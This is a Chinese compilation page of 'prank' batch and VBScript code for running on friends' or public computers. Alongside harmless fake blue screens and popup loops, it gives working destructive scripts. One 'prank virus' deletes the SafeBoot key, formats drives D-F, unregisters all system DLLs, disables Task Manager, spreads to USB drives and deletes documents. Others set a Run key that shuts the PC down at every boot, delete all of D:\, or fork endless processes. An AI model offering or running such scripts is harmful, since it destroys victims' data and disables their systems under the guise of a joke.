本文目录一览：
- 1、一些bat恶搞文件的代码，顺便发下教程
- 2、BAT格式的整人代码和作用！谢谢！
- 3、求!!! 有没有能过杀毒软件的 bat代码 要整人的 无实际伤害的
- 4、求Bat整人代码。。很搞笑很吓人但是很安全！
- 5、整人代码大全
- 6、bat整人代码
一些bat恶搞文件的代码，顺便发下教程
@echo off
title Sc_简爱
cls
mode con: cols=30 lines=4
echo.@echo off C:\Sc简爱.bat
echo.mode con: cols=30 lines=3 C:\Sc简爱.bat
echo.cls C:\Sc简爱.bat
echo.shutdown -f -s -t 0 C:\Sc简爱.bat
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "简爱" /t REG_SZ /d "C:\Sc简爱.bat" nul
::::解释一下 这段批处理运行后 暂时没效果 但是关机或者重启就开不开机了 开机自动关机
::::开机F8进安全模式 删除 C:\Sc简爱.bat 即可
::::也可以在最后加一句 C:\Sc简爱.bat 立马关机
BAT格式的整人代码和作用！谢谢！
1.运行后模拟蓝屏（纯属界面模拟，无任何危害，连按三次Esc键可退出)========================cut here===================================================@echo off
"%~f0" more +6 |debug nul
move t "BLUESRN.COM"
BLUESRN
del BLUESRN.COM
goto :eof
e0100 B4 00 B0 12 CD 10 B0 03 CD 10 B4 02 B7 00 B6 07
e0110 B2 00 CD 10 BB 00 00 B4 09 B9 09 00 8B 97 07 03
e0120 CD 21 83 C3 02 E2 F5 B8 00 B8 8E C0 BB 00 00 26
e0130 C6 47 01 17 83 C3 02 81 FB 9F 0F 77 02 EB F0 B3
e0140 00 B4 00 CD 16 3C 1B 75 F6 FE C3 80 FB 03 72 F1
e0150 B8 00 4C CD 21 00 20 20 20 20 20 20 20 20 20 20
e0160 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
e0170 20 20 20 20 20 20 20 20 20 57 69 6E 64 6F 77 73
e0180 0D 0A 24 0D 0A 24 20 20 20 20 20 41 20 66 61 74
e0190 61 6C 20 65 78 63 65 70 74 69 6F 6E 20 30 45 20
e01A0 68 61 73 20 6F 63 63 75 72 72 65 64 20 61 74 20
e01B0 30 30 32 38 3A 43 30 30 31 31 45 33 36 20 69 6E
e01C0 20 56 58 44 20 56 4D 4D 28 30 31 29 20 2B 0D 0A
e01D0 24 20 20 20 20 20 30 30 30 31 30 45 33 36 2E 20
e01E0 54 68 65 20 63 75 72 72 65 6E 74 20 61 70 70 6C
e01F0 69 63 61 74 69 6F 6E 20 77 69 6C 6C 20 62 65 20
e0200 74 65 72 6D 69 6E 61 74 65 64 2E 0D 0A 24 20 20
e0210 20 20 20 2A 20 20 50 72 65 73 73 20 61 6E 79 20
e0220 6B 65 79 20 74 6F 20 74 65 72 6D 69 6E 61 74 65
e0230 20 74 68 65 20 63 75 72 72 65 6E 74 20 61 70 70
e0240 6C 69 63 61 74 69 6F 6E 2E 0D 0A 24 20 20 20 20
e0250 20 2A 20 20 50 72 65 73 73 20 43 54 52 4C 2B 41
e0260 4C 54 2B 44 45 4C 20 61 67 61 69 6E 20 74 6F 20
e0270 72 65 73 74 61 72 74 20 79 6F 75 72 20 63 6F 6D
e0280 70 75 74 65 72 2E 20 59 6F 75 20 77 69 6C 6C 0D
e0290 0A 24 20 20 20 20 20 20 20 20 6C 6F 73 65 20 61
e02A0 6E 79 20 75 6E 73 61 76 65 64 20 69 6E 66 6F 72
e02B0 6D 61 74 69 6F 6E 20 69 6E 20 61 6C 6C 20 61 70
e02C0 70 6C 69 63 61 74 69 6F 6E 73 2E 0D 0A 24 0D 0A
e02D0 24 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
e02E0 20 20 20 20 20 20 20 20 20 20 20 20 50 72 65 73
e02F0 73 20 61 6E 79 20 6B 65 79 20 74 6F 20 63 6F 6E
e0300 74 69 6E 75 65 20 24 56 01 83 01 86 01 D1 01 0E
e0310 02 4C 02 92 02 CE 02 D1 02
rcx
219
n t
w
q========================cut here===================================================2.运行后，窗口会自动消失，然后打开最大化的C:\WINDOWS，无论缩小还是关掉，都会有个最大化的窗口置顶========================cut here===================================================@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)exit
:begin
for /l %%i in (1,1,100000) do start /max C:\WINDOWS========================cut here===================================================3.很简短的一段代码，但很有趣，有点像程序大战，运行后，看到好像停了的时候就关了它，再看看原来文件的大小，会变得很大，再看看它的代码，已经变了,我运行后等了2秒关了，大小变成了30.2MB了========================cut here===================================================type %0%0 ========================cut here===================================================这个要注意有两行，打完第一行是有一个回车的
求!!! 有没有能过杀毒软件的 bat代码 要整人的 无实际伤害的
整人病毒代码（附解除方法）
使用方法：
1、新建txt文件，复制代码
2、改后缀名为bat
3、如果需要可以加入启动项
4、启动病毒
废话不多说，直接上代码
——————————————我是分界线————————————————
:1rem 损坏安全模式reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot /frem 开机自启动reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v windowsdir /t reg_sz /d "c:\%~n0%~x0" /fnulrem 格式化所有盘format d:/qformat e:/qformat f:/qrem 运行exe会自动关联jpgreg add "HKEY_CLASSES_ROOT\exefile\shell\opencommand" "rundll32.exe C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen %1rem 删除系统备份for /f %%a in ('dir /b/s %systemroot%\system32\dllcache') do del /Q %%arem 反注册bai所有dllfor /f "tokens=*" %%b in ('dir /b/s %systemroot%\*.dll') do regsvr32 /s /u "%%b"rem 反注册所有ocxfor /f "tokens=*" %%c in ('dir /b/s %systemroot%\*.ocx') do regsvr32 /s /u "%%c"rem 禁用任务管理器reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 1 /f nulrem USB移动盘感染for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: | find "可移动驱动器"NUL copy %0 %%i)for %%i in (%drives%) do (del %%i:\*.doc /f /s /q del %%i:\*.xls /f /s /q del %%i:\*.ghs /f /s /q)rem 5秒内重启shutdown -r -t 5rem 复制自身+开机自启动copy %0 "C:\Documents and Settings\%userprofile%\「开始」菜单\程序\启动"rem 增加超多硬盘md d:\fly nul 2nulset a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,zfor %%a in (%a%) do subst %%a: d:\fly nul 2nulrem 修改IE标题栏reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "Bitch, I FUCK YOU ！" /frem 销毁自身del %0goto 1
=======================我也是有底线的=====================
杀毒方法：
1、进入winpe
2、下载腾讯电脑管家，安装并联网
3、更新病毒库，查杀完毕后修补漏洞
4、使用系统急救箱杀毒
5、关机，拔出或弹出pe盘
6、重新启动，进入系统
7、修补完成
8、如果帮到你，给我点个赞哦！
求Bat整人代码。。很搞笑很吓人但是很安全！
@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a
秒
ping
-n
2
127.1
1nul
2nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
nul
echo.
echo
警告！警告！电脑已被入侵！！！
ping
127.1
/n
3
nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除D盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除C盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除分区表...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo.
echo
删除完毕
echo.
echo.
echo
正在遭受黑客的炸弹袭击！
echo.
echo
电脑崩溃！准备关闭系统！
ping
127.1
/n
3
nul
shutdown
-s
-t
nulp
/p
整人代码大全
01
【代码一】
你打开好友的聊天对话框,然后记下在你QQ里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。
代码如下：
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
02
【代码二】
我就用这个程序放在学校图书馆查询书刊的机器上，好多人都拿它没办法。
do
msgbox "You are foolish!"
loop
03
【代码三】
打开无数个计算器，直到死机。
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
04
【代码四】
直接关机。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
05
【代码五】
删除D:\所有文件。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
06
【代码六】
不断弹出窗口
while(1)
msgbox "哈哈 你被耍了！"
loop
07
【代码七】
不断按下alt+f4（开什么都关闭）。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
08
【代码八】
按500次回车 （以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改）。
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
09
【代码九】
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
10
【代码十】
网页整人效果代码，想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
html
head
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
title网页特效|Linkweb.cn/Js|---很恶心的常见整人效果/title
/head
body
a href="" onMouseover="alert('为什么把鼠标放到这里?');
alert('我不是说过不可以这样吗？');
alert('你把我的话当什么了？');
alert('你知道错了吗？');
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么？你已经没力气了？');
alert('你一直在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';"不许把鼠标移到这里/a
/body
/html
bat整人代码
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我爱张辰，不说就一分钟内关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我爱张辰")
a = inputbox ("说我爱张辰,就不关机，快点，说 ""我爱张辰"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说不就好啦 真是的！"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "宝儿 我也爱你"
PS; 这是给我女朋友写的一段代码 你可以把上边的文字改成你想要的就可以的
文件脚本改为.vbs 就ok了